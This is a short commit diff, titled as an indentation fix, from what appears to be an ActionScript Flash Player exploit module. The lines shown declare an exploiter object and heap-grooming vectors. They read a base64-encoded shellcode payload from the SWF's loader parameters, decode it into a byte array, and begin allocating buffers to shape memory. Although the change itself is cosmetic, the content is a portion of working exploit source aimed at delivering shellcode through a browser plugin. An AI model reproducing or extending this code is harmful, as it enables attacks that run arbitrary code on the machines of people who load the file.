Really fix indentation
parent
5bab1cfc68
commit
4f1ee3fcdf
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@ -22,10 +22,10 @@ package
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private var uv:Vector.<uint>
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private var uv:Vector.<uint>
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private var ba:ByteArray
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private var ba:ByteArray
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private var b64:Base64Decoder = new Base64Decoder();
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private var b64:Base64Decoder = new Base64Decoder();
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private var payload:ByteArray
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private var payload:ByteArray
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private var platform:String
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private var platform:String
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private var os:String
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private var os:String
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private var exploiter:Exploiter
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private var exploiter:Exploiter
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private var defrag:Vector.<Object> = new Vector.<Object>(100)
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private var defrag:Vector.<Object> = new Vector.<Object>(100)
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private var ov:Vector.<Object> = new Vector.<Object>(200)
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private var ov:Vector.<Object> = new Vector.<Object>(200)
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@ -34,13 +34,13 @@ package
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var i:uint = 0
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var i:uint = 0
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var j:uint = 0
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var j:uint = 0
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platform = LoaderInfo(this.root.loaderInfo).parameters.pl
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platform = LoaderInfo(this.root.loaderInfo).parameters.pl
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os = LoaderInfo(this.root.loaderInfo).parameters.os
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os = LoaderInfo(this.root.loaderInfo).parameters.os
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var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
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var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
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var pattern:RegExp = / /g;
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var pattern:RegExp = / /g;
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b64_payload = b64_payload.replace(pattern, "+")
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b64_payload = b64_payload.replace(pattern, "+")
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b64.decode(b64_payload)
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b64.decode(b64_payload)
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payload = b64.toByteArray()
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payload = b64.toByteArray()
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for (i = 0; i < defrag.length; i++) {
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for (i = 0; i < defrag.length; i++) {
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defrag[i] = new ByteArray()
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defrag[i] = new ByteArray()
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